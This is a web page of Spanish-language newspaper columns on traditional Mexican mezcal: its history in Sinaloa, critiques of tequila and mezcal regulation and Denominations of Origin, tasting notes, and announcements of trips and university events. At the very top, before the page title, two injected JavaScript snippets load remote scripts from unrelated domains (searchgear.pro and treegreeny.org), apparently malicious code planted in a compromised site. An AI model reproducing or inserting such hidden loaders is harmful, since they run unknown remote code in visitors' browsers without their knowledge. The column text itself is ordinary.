;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mezcales Tradicionales de los Pueblos de México » Publicaciones

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[Publicados los sábado 23 y 30 de junio de 2012]

I

Esta columna es muestra palpable de que el mezcal se ha convertido en tema de interés público; daré algunas razones.

1. El mezcal tiene que ver directamente con el origen de nuestra civilización y cultura: hace 12 mil años, cuando aún no existía el maíz, los habitantes del México Antiguo ya consumían maguey cocido (mezcal) como parte de su dieta. Antes de ser un pueblo de maíz, fuimos pueblo mezcalero.

2. En México hay producción de mezcal tradicional (MT) en al menos 21 estados, donde habitan comunidades productoras y consumidoras de MT, poseedoras legítimas de este extraordinario Patrimonio Cultural.

3. Los magueyes, las tierras, los árboles, las aguas, los microrganismos que fermentan el maguey cocido, los polinizadores de los magueyes, conforman la enorme y compleja biodiversidad que existe detrás de los MT y que las comunidades mezcaleras han contribuido a desarrollar, conocer y preservar a través de siglos.

4. Las normatividades existentes (Denominaciones de Origen, Normas Oficiales Mexicanas, disposiciones fiscales) provocan y sancionan la exclusión de comunidades que han elaborado MT desde antes de la creación del estado mexicano, además de ilegalizar su producción al prohibirlos y perseguirlos mediante legislaciones ridículas, seudocientíficas y neocoloniales, lo que constituye flagrantes violaciones a los derechos humanos, entre ellos los derechos culturales y, caso paradójico, derechos lingüísticos de comunidades nahuas que tienen prohibido, por haber sido excluidos de la región protegida por la Denominación de Origen, usar la palabra mezcal -que ellas inventaron- en los MT que producen.

5. Este modelo no es el del Estado de Derecho, en el que todos se someten al imperio e igualdad ante la Ley y donde las garantías individuales son un hecho social y no sólo letra muerta; es un modelo de privilegios para grupos reducidos que, en el caso de los MT, despojan de sus derechos, lengua y tradición a las comunidades mezcaleras con anuencia de las instituciones del Estado.

http://www.milenio.com/cdb/doc/impreso/9151183

II

6. Las Denominaciones de Origen (DO) Tequila y Mezcal, tienen por titular al Estado Mexicano según la Ley de la propiedad industrial, pero como propician la adulteración al permitir la adición de azúcares diferentes a los del agave y no tienen coherencia geográfica, socavan el concepto de DO, lo que genera caos en el régimen jurídico de propiedad industrial y desacredita internacionalmente -al chatarrizarlos-  estos destilados, además de poner en mayor entredicho el sistema legal mexicano.

7. Al propiciar la destrucción de los mezcales tradicionales (MT), se atenta contra un Patrimonio Cultural Material e Inmaterial (PCI) que no hemos sabido valorar en toda su dimensión, repitiendo neuróticamente la historia de la destrucción del mezcal más famoso –hoy desaparecido- de México: el tequila. Hecho abiertamente contradictorio con la declaratoria de la “Cocina Tradicional Mexicana como PCI” de la UNESCO.

8. Distintas instituciones académicas y de investigación han llevado y llevan a cabo importantes estudios sobre magueyes y mezcales. Entre ellas la UNAM, la Universidad de Guadalajara, el IPN, la Universidad Autónoma de Chapingo, Colegio de San Luis, Colegio de Jalisco, ITO Oaxaca, UABJO, INAH y otras más. Los trabajos abarcan áreas importantísimas como: taxonomía de agaves; ecología de poblaciones; variación genética de los agaves; antropología, arqueología y etnografía del mezcal; química analítica; análisis sensorial; análisis de fermentaciones y clasificación de microrganismos; historia económica de los mezcales y gastronomía.

9. Cada año se destinan recursos federales y estatales a los sistemas producto (www.sagarpa.gob.mx) Agave Tequilero y Agave Mezcalero, que se basan, lamentablemente, en las DO descritas y no consideran los MT como PCI.

Por lo dicho, es necesario y urgente que como ciudadanos tomemos una actitud participativa, crítica y propositiva frente a decisiones públicas y privadas que destruyen los MT. Elijamos la calidad de los MT  y no la chatarrización del mezcal.

http://www.milenio.com/cdb/doc/impreso/9151860

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132. Más del mezcal en Sinaloa


En la p. 68 del libro “El mezcal en Sinaloa. Una fuente de riqueza durante el Porfiriato” del Dr. Samuel Ojeda publicado en 2006, aparece un cuadro que muestra la producción en litros de lo que el autor llama -con toda precisión- aguardiente de mezcal en diez distritos sinaloenses: Rosario, 200 mil; Concordia, 450 mil; San Ignacio, 30 mil; Mazatlán, 293 mil; Cosalá, 30 mil; Culiacán, 100 mil; Mocorito, 500 mil; Badiraguato, 3 mil 500; Sinaloa, 540 mil; El Fuerte, 170 mil; que dan un total de 2,266,500 litros con valor de $396,925. Los datos son de 1902 y tienen como fuente la “Memoria General de la Administración Pública del Estado de Sinaloa” del gobernador Francisco Cañedo.

Respecto al consumo per cápita del destilado, en otra parte del libro (p. 63) -donde se toma como fuente al órgano local “Monitor del Pacífico”-, se dice que para 1887 los sinaloenses consumían 12 mil barriles de mezcal, barriles con capacidad de 60 litros, lo que da un total de 720 mil litros. La población total estimada en ese año era de 160 mil habitantes. Y sólo Mazatlán, con 8 mil habitantes, consumía al año 240 mil litros, o sea 30 litros por habitante/año. Del total de ese mezcal, el 60% (7200 barriles) se fabricaba en Sinaloa y el 40% (4800 barriles) en Tequila, Jalisco.

Respecto a los magueyes usados para elaborar mezcal, la información en el libro no es precisa, aunque hay menciones interesantes tomadas del estudio de Ramón Ponce de León titulado “Ligeros apuntes sobre la flora del estado de Sinaloa”, publicado en Culiacán en 1909 por los Talleres Tipográficos de Julio G. Arce. El libro nos proporciona el nombre vulgar y forma de reproducción de 4 variedades: “Maguey Manso Cuúc (cultivado); Maguey Meco (silvestre y cultivado); Maguey de Maceta (cultivado); Maguey Cimarrón o Lechuguilla (silvestre)”.

Quien desee saborear mezcales de punta de más de 60° procedentes de Jalisco, Estado de México y Oaxaca, acuda el martes a las 20 horas a SINETESIA: San Luis Potosí 121, col. Roma, DF. Se sorprenderá.

http://monterrey.milenio.com/cdb/doc/impreso/9150568

131. El mezcal en Sinaloa


En 1881 existían en Sinaloa “tres fábricas de sombreros, trece tenerías, tres fábricas de calzado, doce talleres de zapatos, una fábrica de gas, cinco talabarterías, dos fundiciones, dos molinos de harina, 1234 trapiches y 139 vinaterías [fábricas de mezcal]”, según el gobernador Mariano Martínez en su informe ante el Congreso local en septiembre de aquél año, y citado en el libro “El mezcal en Sinaloa. Una fuente de riqueza durante el Porfiriato” del Dr. Samuel Ojeda, publicado por El Colegio de Sinaloa (www.elcolegiodesinaloa.gob.mx) en 2006.

La información que el autor nos da es compleja y, aunque parezca excesivo, citaré algunos párrafos relacionados con los procesos de elaboración del mezcal. Página 97: “antes de que se suscitara el conjunto de innovaciones técnicas que vinieron aparejadas al régimen porfirista, el método de fermentación y destilación que comúnmente se usaba era el de olla y cuchara. El procedimiento de elaboración consistía en que primeramente al maguey maduro se le despoja de las pencas y raíz, la cabeza se cuece en hornos hasta que toma un color bermejo, seguidamente se marca con pisones de madera para después colocarse en pilas ademadas con piedras, el producto se deposita en cribas de cuero hasta que se fermenta. El líquido resultante se vierte en ollas de barro que se expone al fuego lento, en un horno cubierto con un cazo lleno de agua fría; una vez que el caldo hierve, se forman vapores que se condensan y se vierten al exterior por una especie de canaleta de madera, de donde se recoge el licor. Con esto se culmina su proceso de elaboración. Este método rudimentario continuó empleándose durante todo el período porfirista y en años posteriores por un gran número de productores, sobre todo por los que producían en más pequeña escala.”

Para saborear mezcales tradicionales, hay que ir el martes a las 20 horas a SINESTESIA: San Luis Potosí 121, col. Roma, DF. Cuota de recuperación: $150. Las dos primeras personas que acudan con esta columna tendrán promoción 2 X 1.

http://www.milenio.com/cdb/doc/impreso/9149898

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El pasado martes saboreamos tres mezcales tradicionales (MT) de Real de Otzumatlán, municipio de Queréndaro, Michoacán, elaborados con maguey Alto por el maestro vinatero Pedro Soto Colín en 2010, 2011 y 2012; sus graduaciones: 50.6°, 51.8° y 51.7°. La población se encuentra al noreste de Morelia a una hora por carretera (http://mezcalpedia.com/index.php?option=com_content&view=article&id=116:mezcal-del-real-de-otzumatlan&catid=47:region-querendaro-michoacan&Itemid=59).

Aspecto importante del gusto histórico de esta zona es que la fermentación se lleva a cabo adicionando pulque de la región (puro, no baboso ni fétido como el adulterado que se vende en el DF) de maguey Manso a las tinas de fermentación, lo que da por resultado un MT de aromas y sabores muy complejos, entre los que encontramos: maguey cocido en horno de tierra, frutas fermentadas, caramelo, nanche, guanábana, chile manzano, resinas, flores, jazmín, lavanda natural, canela, pimienta, anís, tabaco, cuero de res y queso Cotija; resalta particularmente el del pulque destilado, que pude saborear en el estado de Hidalgo donde me obsequiaron uno a 68.1°.

Sus perleados podríamos decir que son atípicos, pues muestran muy larga duración y presentan triple capa de perlas (cordón sobre cordón) con tamaños diferenciados, que en una primera y falsa impresión uno asociaría a graduaciones de 53 a 53.5°. La explicación es que el pulque le da mayor viscosidad al destilado final.

Mención especial merece el alambique utilizado en la destilación, formado por: 1) olla de cobre que contiene el líquido fermentado y el bagazo del maguey machacado; 2) tronco de oyamel ahuecado como de 70 cm de diámetro por donde sube y se condensa el vapor; 3) cazo de cobre que, colocado  sobre el tronco, recibirá por fuera agua fría que lo hará fungir como condensador del vapor que sube dentro del tronco; 4) cuchara de madera dentro del tronco que recibe el líquido condensado y 5) un tubo, carrizo o penca, que conduce el mezcal fuera del tronco.

http://www.milenio.com/cdb/doc/impreso/9149247

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En abril, una sesión de la Logia de los Mezcólatras provocó virulentas y justificadas reacciones negativas entre los asistentes. El motivo fue “lo pinchurriento de  los mezcales”. En mi defensa -que nadie aceptó como válida- di dos argumentos.

Primero. En 7 años, en los que hemos probado 789 mezcales, sólo han sido criticados 5.

Segundo. Los llevé para mostrar cómo las presiones comerciales que sufre la tradición mezcalera están destruyéndola, presiones ejercidas a través de la normatividad, los envasadores, comercializadores, instancias gubernamentales, “profesionales de la gastronomía” ignorantes de la tradición mezcalera, y de los consumidores urbanos que desconocen lo que es el mezcal tradicional y cómo evaluar su calidad.

Los tres mezcales denostados fueron elaborados con maguey silvestre en regiones con larga y acreditada tradición mezcalera, de donde hemos saboreado varios de ellos extraordinarios.

El primero tenía 45.2° y se destiló en alambique de acero inoxidable, cuando el alambique tradicionalmente usado es de cobre con capitel de tiras de madera. Este fue cambiado por presiones gubernamentales como requisito para recibir apoyos económicos.

El segundo -destilado con capitel de tronco de oyamel- lo conseguí en la fábrica cuando hacían la segunda destilación y me lo ofrecieron caliente, diciéndome que estaba a 70°. Lo venencié y dije que no era cierto, pues caliente el perleado engaña; lo enfrié y mostró perleado de 59°. Enseguida me dieron colas -partes suaves de la destilación-, las enfrié y el perleado indicó 43°. Entonces sugirieron que las revolviera, y se obtuvo una graduación de 47.9°. Como el ajuste del grado debe llevarse a cabo mezclando diferentes fracciones de la destilación, desde las más fuertes a las más suaves, el producto del que hablo no era un mezcal completo, sino sólo parte de él, por lo que sus aromas y sabores no eran gratos.

El tercero se destiló en alambique de cobre, pero hubo descuido en la destilación y resultó en un  líquido hosco y tosco.

 

http://www.milenio.com/cdb/doc/impreso/9148610

2

¿Por qué desconocemos el auténtico sabor y aroma del mezcal de Jalisco conocido como tequila? Porque dejó de existir desde el 12 de marzo de 1964 cuando la cínicamente llamada Norma Oficial de Calidad para el tequila (DGN R-9-1964), publicada en el Diario Oficial de la Federación (DOF), permitió que se le adicionaran a la bebida hasta 30 por ciento de azúcares diferentes a los del maguey, así como también rebajar su riqueza alcohólica a 38 grados.

Un tequila tradicional, que sólo puede ser de Jalisco, es el que define Lázaro Pérez en su Estudio sobre el maguey llamado mezcal en el estado de Jalisco, publicado el 7 dejulio de 1887 en la imprenta de Ancira, de la siguiente forma: “el aguardiente de mezcal impropiamente llamado vino mezcal es un líquido espirituoso incoloro y diáfano, muy fluido, más ligero y movible que el agua destilada: su olor y sabor le son peculiares y característicos y permiten distinguirlo fácilmente de otros aguardientes.”

Sobre la región geográfica donde se elabora este destilado, dijo: “varias son las especies de maguey (…) que en el estado de Jalisco se emplean para la elaboración del aguardiente llamado vino mezcal, vino tequila o simplemente tequila, y aunque dichas especies son conocidas bajo diferentes nombres, todas llevan el común de mezcal”; éstas “se cultivan en los terrenos de Tequila, Ahualulco, Magdalena, Ameca, Teuchitlán, Hostotipaquillo, y en los de otras poblaciones situadas al poniente de Guadalajara (…) que gozan de climas y demás circunstancias locales propias para la vegetación de esta especie de magueyes.”

Al referirse a la riqueza alcohólica del tequila, Lázaro Pérez añadió: “…a la temperatura de 15 grados centígrados, el alcoholímetro Gay-Lussac marca 50 grados, cuando de un vaso se vacía en otro dos o tres veces repetidas, forma lo que comúnmente se llama perla o concha, la cual consiste en una serie de pequeñas burbujas transparentes que en la parte superior del líquido y en contacto con las paredes del vaso simulan un rosario o hilo de perlas”. En este documento, se detalla elproceso de elaboración del tequila, se mencionan nueve tipos de maguey empleados (no sólo el azul) y se establecen claramente los cuidados que cada parte del proceso debe tener para obtener un destilado serio.

La Norma Oficialvigente (NOM-006-SCFI-2005) publicada el 6 de enero de 2006 en el DOF, dice que el tequila se obtiene por destilación de mostos que pueden “…ser enriquecidos y mezclados conjuntamente en la formulación con otros azúcares hasta en una proporción no mayor de 49 por ciento de azúcares reductores totales (…) y no están permitidas las mezclas en frío. El tequila es un líquido incoloro que, de acuerdo con su clase, es incoloro o coloreado cuando es madurado o cuando es abocado sin madurarlo”. La NOM define abocado como “procedimiento para suavizar el tequila mediante la adición de uno o más de los siguientes ingredientes: color caramelo, extracto de roble o encino natural, glicerina, jarabe a base de azúcar”. La NOM también permite degradarlo hasta 35 grados. Este proceso de rebajar el porcentaje de azúcares de maguey, de degradar la riqueza alcohólica y la práctica de adicionar ingredientes para simular barrica, cuerpo y calidad del destilado, es una perversión y destrucción llana y vil de la bebida.

Por lo anterior, la historia del tequila es la historia de la pérdida de una tradición gastronómica popular y de un gusto histórico regional, que fue expropiado a sus verdaderos y legítimos poseedores (los jaliscienses de la región de Tequila) mediante la monopolización de la producción, el arbitrario cambio de los sistemas de elaboración de la bebida y la adulteración, perversión y falsificación de la misma; todo ello, avalado por la creación de legislaciones a modo (Normas Oficiales y Denominación de Origen) con la complacencia de las autoridades (i)responsables, que permiten, cada día más descaradamente, engañar al consumidor nacional y extranjero.

La pregunta que surge es: ¿cómo era y se hacía el verdadero tequila? Recurramos nuevamente a lo escrito por Lázaro Pérez (las negritas son nuestras):

Elaboración del vino mezcal

“Cuando las plantas han llegado a su completa madurez que, como queda dicho, esto sucede a los nueve o 10 años de su edad, se procede a la maniobra que se llama gima, la cual consiste en separar de la cepa o corazón del mezcal las hojas o pencas que lo rodean, dejándole adherida una parte pequeña de éstas: luego se procede a su cocimiento.

“Esta importante operación se practica en hoyancos de la forma de un cono truncado con la base hacia arriba; todo el interior de estos hornos está enlosado con una clase de piedra refractaria llamada china; sus dimensiones son considerables y su número más o menos grande, según la importancia de la fábrica.

Estos hornos calentados casi al rojo, se llenan con las cabezas de los mezcales, cubriéndose enseguida con zacate y tierra para impedir en lo posible la salida del vapor, que en esta operación desempeña el principal papel, y conservar durante 24 horas el calor necesario para el perfecto cocimiento de aquellas”.

Molienda del mezcal, extracción, fermentación y destilación del jugo vinoso

En las fábricas montadas al estilo antiguo, la molienda del mezcal cocido se practica en tahonas movidas por fuerza animal; la pulpa resultante, diluida en suficiente cantidad de agua se transporta a las cubas de fermentación; cuando ésta ha terminado, se destila el líquido vinoso con todo y bagazo en alambiques de construcción muy sencilla…”.

Hasta aquí la cita. Ahora revisemos la primera Norma Oficial de Calidad para tequila DGN. R9-1949, publicada en el Diario Oficial, el 14 de junio de 1949 que textualmente dice:

1.-Definición.

Generalidades

A.-Definición.- Se entiende por tequila el aguardiente de mezcal obtenido del agave azul tequilana weber amarilidáceas, y de otras especies del mismo género, que se cultivan en el estado de Jalisco, en las tierras y condiciones climatéricas que les son características; de estos agaves se usarán las partes constitutivas del tallo y de las bases de las pencas maduras se someterán a la acción del calor con objeto de acelerar la formación de monosas; se reducirán a pasta por medios mecánicos; se agregará agua para diluir hasta la concentración conveniente, y el mosto así obtenido se fermentará a temperatura adecuada por acción de lavaduras propias de los mismos ágaves, seleccionadas o no, y una vez que haya terminado la fermentación, se destilará en presencia del bagazo y el destilado así obtenido se rectificará en una segunda destilación; el producto tendrá una riqueza alcohólica real comprendida entre 45 y 50 grados del alcohómetro de Gay-Lussac a la temperatura de 15 grados centígrados.

II.- Clasificación y especificaciones

A.-Clasificación.- Para los efectos de esta norma, el tequila comprenderá dos tipos: A y B, con un solo grado de calidad para cada uno.

Tipo A.- tequila natural.

Tipo B.- tequila añejo, con dos años mínimo de añejamiento en barriles de madera de encino, en bodegas anexas a las plantas de envasado.

Como puede verse, ambos documentos –separados por 62 año- presentan coincidencias notables en la descripción del destilado y de su proceso de elaboración, de las que resaltan: 1) el tequila solamente podía ser de Jalisco; 2) se hacía exclusivamente de maguey o mezcal, sin mencionar los famosos porcentajes; 3) se utilizaban distintas variedades de mezcales, no sólo el azul; 4) la fermentación y la destilación se realizaba con la fibra o bagazo; 5) su riqueza alcohólica oscilaba entre los 45 y 50 grados, razón por la cual al verterlo de un vaso a otro el tequila sí perleaba.

Estas cinco coincidencias son temas centrales, aunque no los únicos, en el presente y futuro de todos los mezcales tradicionales de México, incluyendo el Bacanora. Abundemos más en ellos.

1) El tequila sólo puede ser de Jalisco, como lo señala Lázaro Pérez y debería especificarlo la Denominación de Origen publicada en el Diario Oficial el lunes 9 de diciembre de 1974. Pero no es así; resulta que, según esta denominación y sus sucesivas modificaciones, puede haber tequila en algunos municipios de Nayarit, Michoacán, Guanajuato y Tamaulipas, lo cual es una verdadera aberración y destrucción del concepto mismo de lo que es una denominación de origen. Esta denominación es como si dijéramos que existe mole negro de Oaxaca de Tamaulipas, o que la exquisita birria tatemada de Jalisco es la misma que se vende como tal en la ciudad de México. De aquí que nuestras denominaciones de origen a nivel internacional no sean tomadas en serio y, además, sirvan como instrumentos legales para destruir nuestras extraordinarias gastronomías regionales, sus aromas y sabores, los que ha costado centenas de años construir y que nos dan identidad y tradición, además de ser fuentes de empleo con un alto valor agregado que no hemos sabido reconocer aún.

2) El tequila se hacía sólo de maguey, lo que le daba su personalidad, así como su distinción frente a destilados de otras partes del mundo. Ahora se permite adulterarlo al adicionar azúcares de otro origen; incluso, quienes sí saben de mezcales –hay que recordar que el tequila debería ser uno más de ellos-, al oler y saborear los productos que usan la palabra tequila en sus etiquetas, de inmediato se dan cuenta de la falsificación de los productos, pues no corresponden a los sabores tradicionales que tenía el tequila hace más de 60 años. Entonces: si lo que hay en el mercado son aguardientes saborizados y aromatizados con esencias de maguey, y aguardientes los hay en muchos lugares del mundo, la Denominación de Origen y la Norma Oficial son una farsa.

3) Se utilizaban distintas variedades de maguey o mezcal, por lo que se procuraba la reproducción de distintos magueyes y su material genético se renovaba constantemente. Como sólo se decidió, quién sabe por qué razones, usar sólo el azul, se le clonó inmisericordemente y su material genético, se homogeneizó y degradó, y se obtuvo un maguey súper débil que requiere de un sinnúmero de plaguicidas y herbicidas. Obviamente el maguey azul es una planta de mala calidad por su miseria genética y, si el primer requisito para tener un buen destilado de maguey es tener un buen maguey, ya podrán imaginar los resultados, que se disfrazan con ingeniería química. Sin embargo, si uno prueba mezcales de Jalisco de la zona raicillera o de la región sur, se asombra de su maravillosa calidad, resultado de emplear buenos magueyes y de procesos tradicionales de elaboración. Por otro lado, el hacer uso de un solo tipo de maguey genera monocultivos, empobrecimiento del suelo agrícola, deforestación de selvas bajas y pérdida de la diversidad magueyera. En resumen, destrucción peligrosa de los ecosistemas. Si aún hay dudas de que en épocas anteriores se usaban más variedades de maguey para elaborar el tequila, citemos de nuevo a Lázaro Pérez:

“Varias son las especies de maguey (…) que en el estado de Jalisco se emplean para la elaboración del aguardiente llamado vino mezcal, vino tequila o simplemente tequila, y aunque dichas especies son conocidas bajo diferentes nombres, todas llevan el común de mezcal”, y éstas “han sido bautizadas con nombres particulares en conformidad con ciertos caracteres físicos que ofrecen a la vista. Estos nombres son: chino, azul, bermejo, sigüín, moraneño, chato, mano larga, zopilote, pie de mula, entre otros”.

4) Destilación y fermentación con bagazo. Esta parte del proceso, que ha sido utilizada en la elaboración de todos los mezcales tradicionales de México sin excepción, aporta sabores extraordinarios a la bebida. Cuando cualquier parte del proceso de elaboración (desde la forma del cultivo, la edad a la que se corta el maguey, su forma de cocción, de molienda, de fermentación, destilación y ajuste de la riqueza alcohólica) es modificado, los sabores, inevitablemente, cambian y cambia el gusto histórico del mezcal. Y si consideramos que los mezcales poseen como principal característica el tener tras de sí una enorme tradición y su propio gusto histórico, entonces el sabor, y por lo tanto su proceso de elaboración, son su esencia. Ejemplifican e ilustran el auténtico gusto histórico del tequila las siguientes palabras de Lázaro Pérez:

“La riqueza alcohólica del tequila generalmente es la misma sea cual sea su procedencia (20 grados cart. a la temperatura ordinaria) [50 grados G.L., esto es agregado nuestro]; pero respecto de su olor y sabor suelen notarse algunas ligeras diferencias entre los productos de algunas fábricas comparados con los de otras; mas estas diferencias, por ser muy pequeñas, sólo pueden apreciarlas los habituales consumidores de este licor.

“La desigualdad en el gusto de algunos aguardientes de mezcal reconoce por principal causa, el método empleado en su elaboración. Así, el preparado según el antiguo sistema, empleando aparatos y alambiques de la más imperfecta y rústica construcción, resulta más cargado de epireuma que el que se fabrica según el sistema moderno que, por estar basado en principios científicos, permite obtenerlo más puro y relativamente más abundante. Sin embargo, aquellos tomadores de tequila que están acostumbrados al sabor del vino mezcal preparado según el método primitivo, le dan la preferencia sobre el otro que es más suave al paladar”.

Cabe añadir que las personas que Lázaro Pérez refiere como tomadores de tequila eran los verdaderos expertos y conocedores de la bebida.

5) Su riqueza alcohólica oscilaba entre los 45 y los 50 grados. Todos los mezcales tradicionales de México existentes, y allí están los archivos de alcoholes de la Secretaría de Hacienda para quien quiera comprobarlo, así como las tradiciones vigentes en las regiones mezcaleras, tienen como riqueza alcohólica mínima 45 grados, por lo que todos ellos perlean. En realidad, 45 grados es ya muy suave y casi siempre los mezcales tradicionales se encuentran a 50 grados en promedio, aunque muchos llegan hasta los 60 o más grados. Hasta aquí los cinco puntos.

Al lamentable proceso de degradación y desaparición de este mezcal de Jalisco bien puede llamársele La Ruta del Tequila, que ejemplifica con crudeza lo que puede suceder con los mezcales tradicionales si permitimos que sigan dicha ruta a la que, por cierto, se puede entrar por distintos atajos, como son: a) vender mezcales rebajados o almacenados en barricas con el argumento de que eso le gusta al consumidor; b) propiciar el uso de una sola especie de maguey mezcalero y los cultivos agroindustriales que destruyen el medio ambiente, la tradición cultural, así como la diversidad genética del maguey y, como consecuencia, la exquisita diversidad de mezcales; c) modificar los procesos tradicionales de elaboración del mezcal, pues hacerlo cambia, inevitablemente, los sabores y gustos históricos que ha costado milenios desarrollar, decisión que sólo refleja el desconocimiento de la inmensa y rica tradición mezcalera.

Frente a la Ruta del Tequila, debe trazarse la Ruta del Mezcal Tradicional, en la que I) el mezcal sea ecológica, económica y culturalmente sustentable; II) que el control de su calidad y beneficios de su comercialización queden en manos de los propios maestros mezcalilleros a través de consejos reguladores locales y regionales formados por ellos mismos, los verdaderos expertos en mezcales. III) Dentro de esta ruta no se necesitan consumidores, sino ciudadanos que hagan suya la tradición mezcalera y, al conocerla, ayuden a preservarla. IV) A nivel legal, se requiere construir Denominaciones de Origen (DO) serias, avaladas por los conocimientos tradicionales de los mismos productores y vigiladas en su sustentabilidad por entidades académicas y de investigación reconocidas por su seriedad y ética científica. Requisito indispensable de dichas DO es que establezcan claramente que todos los mezcales (tequila, bacanora, raicilla, tuxca, mezcal) sean estrictamente 100 por ciento agave, y agave maduro; también deben incluir a todas las regiones, poblaciones y estados del país (por lo menos 22) que producen mezcal tradicional y, un aspecto esencial, las Denominaciones de Origen deben condicionarse a que los mezcales que éstas protejan, cumplan con el gusto histórico regional, que no es más que el sabor y aroma tradicional de cada mezcal. V) A fin de cuentas, la preservación del mezcal es un asunto de interés público, pues representa parte esencial de la identidad cultural de México y de su extraordinaria gastronomía.

*Cornelio I. Pérez Ricárdez (Tío Corne)

http://www.lajornadamichoacan.com.mx/2008/03/30/index.php?section=municipios&article=008n1mun

123. Viajes Mezcólatras


Quien desee conocer realmente la tradición magueyera, pulquera y mezcalera de México, su única opción es visitar las regiones y poblaciones donde dicha tradición sigue viva. Por esta razón, la Logia de los Mezcólatras, en coordinación con maestros mezcalilleros y maestros tlachiqueros, ha organizado los siguientes viajes:

A. Sábado 21 de abril. Viaje Mezcalero a Santa María Zumpahuacán, EdoMex. Incluye: transporte; desayuno; recorrido en campo para identificar distintas variedades de maguey; visita a la fabrica del maestro mezcalillero José Luis Medina, que en esta ocasión estrenará un nuevo capitel de madera llamado cascomite; comida con degustación de mezcales tradicionales (MT). Costo $650.

B. Sábado 28 de abril. Viaje pulquero a Villa de la Paz, Ixmiquilpan, Hidalgo. Incluye: transporte; desayuno y comida de cocina tradicional otomí; recorrido para conocer distintos tipos de maguey; explicación de técnicas tradicionales para su aprovechamiento; raspado, obtención y saboreo de aguamieles; degustación de 3 pulques de magueyes diferentes; pulque para llevar. Costo: $700.

C. Sábado 28 al lunes 30 de abril. Viaje Mezcalero a Etúcuaro, Michoacán. Incluye; transporte, hospedaje, alimentos (desayunos, comidas y cenas), degustación de mezcal, recorridos para ver magueyes, visitas a vinatas (fábricas de mezcal), además de visitar Villa Madero, Quiroga y Pátzcuaro. Costo: $3,350.00 pesos.

D. Viernes 11 al 13 de mayo. Viaje Mezcalero a Santa Catarina Minas, Ocotlán, Oaxaca. Incluye: transporte, hospedaje, alimentos (2 desayunos, 2 comidas, 2 cenas), recorrido para conocer magueyes, visita a fábrica de mezcal, visita a Ocotlán, al Museo y ex-Convento de Santo Domingo, a talleres de barro negro y/o telar de cintura. Costo: $3,350.

Informes con Karina Luna: cel. 044 55 3697 9508; mail viajes_mezcolatras@mezcalestradicionales.mx

Próxima saboreada de la Logia: martes 17, 20:00 horas, en SINESTESIA, que se localiza en San Luis Potosí 121 casi esquina con Jalapa, col. Roma, Ciudad de México.

http://www.milenio.com/cdb/doc/impreso/9144603

Category: Milenio, Publicaciones

122. Jornada mezcalera en Ciencias-UNAM


El martes 10 de abril se llevará a cabo en la Facultad de Ciencias de la UNAM la Primera Jornada Universitaria dedicada a “Los Mezcales Tradicionales (MT): Patrimonio Cultural de México”, cuyos objetivos son difundir la importancia que tienen los MT como Patrimonio Cultural, mostrar la complejidad y riqueza que tienen tras de sí y comentar las investigaciones realizadas en diferentes áreas de conocimiento de la UNAM, por ejemplo en botánica, ecología, química analítica, química de alimentos, antropología y derecho.

También se planteará la necesidad de profundizar dichas investigaciones y de desarrollar otras nuevas sobre: análisis sensorial; identificación de microrganismos responsables de la fermentación; construcción de la Colección Nacional de Mezcales; identificación de las regiones mezcaleras; desarrollo de instrumentos para monitorear la diversidad, reproducción y propagación de los magueyes mezcaleros silvestres y cultivados; desarrollo de metodologías para evaluar las condiciones socioculturales que favorecen la preservación de los MT; patrimonio cultural y propiedad intelectual; fiscalidad; creación de la biblioteca digital sobre magueyes y mezcales.

La jornada incluirá los siguientes temas y ponentes: Los magueyes y los mezcales como tema relevante para la investigación científica, Dr. César Carrillo editor de la revista Ciencias; Ecología, diversidad genética y preservación de los agaves mezcaleros, Dr. Luis Eguiarte del Instituto de Ecología; Presencia, pensamiento y sentir de los creadores y propietarios del mezcal, maestro mezcalillero José Luis Medina de Santa María Zumpahuacán, EdoMex; Diversidad de MT: diversidad infinita de aromas y sabores, Cornelio Pérez de la Logia de los Mezcólatras. La coordinación estará a cargo de Paloma Rivera de la carrera Desarrollo y gestión Interculturales de la Facultad de Filosofía.

Las pláticas serán en el Auditorio Alberto Barajas Celis (junto al edificio O y P) de la Facultad de Ciencias de 13 a 15 horas. Entrada libre.

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121. Propiedad intelectual y agave


El 21 de marzo se llevó a cabo en el Instituto de Investigaciones Jurídicas (IIJ) de la UNAM el Primer Seminario de Propiedad Intelectual, cuya temática inicial fue El Agave y la propiedad intelectual. Los temas fueron:

1. Maestra Patricia Basurto del IIJ, “Indicación geográfica y especialidad tradicional garantizada. Paradigmas a considerar”.

2. Dra. Ana Valencia del Instituto Mexicano de la Propiedad Intelectual,
“Las indicaciones geográficas: propiedad industrial, calidad de los productos, medio ambiente y cultura”.

3. Dr. Eduardo Quintanar de la Universidad Autónoma del Estado de México, “En la búsqueda de formas de protección de los conocimientos tradicionales”.

4. Quien esto escribe, “Los Mezcales Tradicionales: Patrimonio Cultural de México”.

En mi intervención manifesté la necesidad de contar una normatividad que proteja los mezcales tradicionales (MT) no sólo como viles mercancías, sino como lo que son: Patrimonio Cultural de México. De ahí que la normatividad que necesitan tenga que partir, entre otros fundamentos, de:

a) garantizar los derechos humanos de quienes hacen MT en 21 estados del país y de quienes los han consumido históricamente en las comunidades y regiones donde se elaboran, y el derecho a nombrarlos con su nombre histórico: mezcales;

b) que su elaboración sea respetuosa de los recursos naturales utilizados (magueyes, árboles, aguas, tierras, etc.) y de su entorno ecológico;

c) que sea una actividad rentable para los maestros mezcalilleros, sus familias y regiones, propiciando la revaloración del conocimiento tradicional y sensorial que hay detrás de cada mezcal, al que debe sumarse el desarrollo de conocimiento científico en diversas áreas;

d) propiciar procesos de reapropiación de los MT por parte de los maestros mezcalilleros y de sus comunidades, para que ellos mismos establezcan sus normas de calidad y comités de expertos, y su comercialización.

Ojalá que pronto el IIJ ponga a disposición del público la memoria digital o impresa de este seminario.

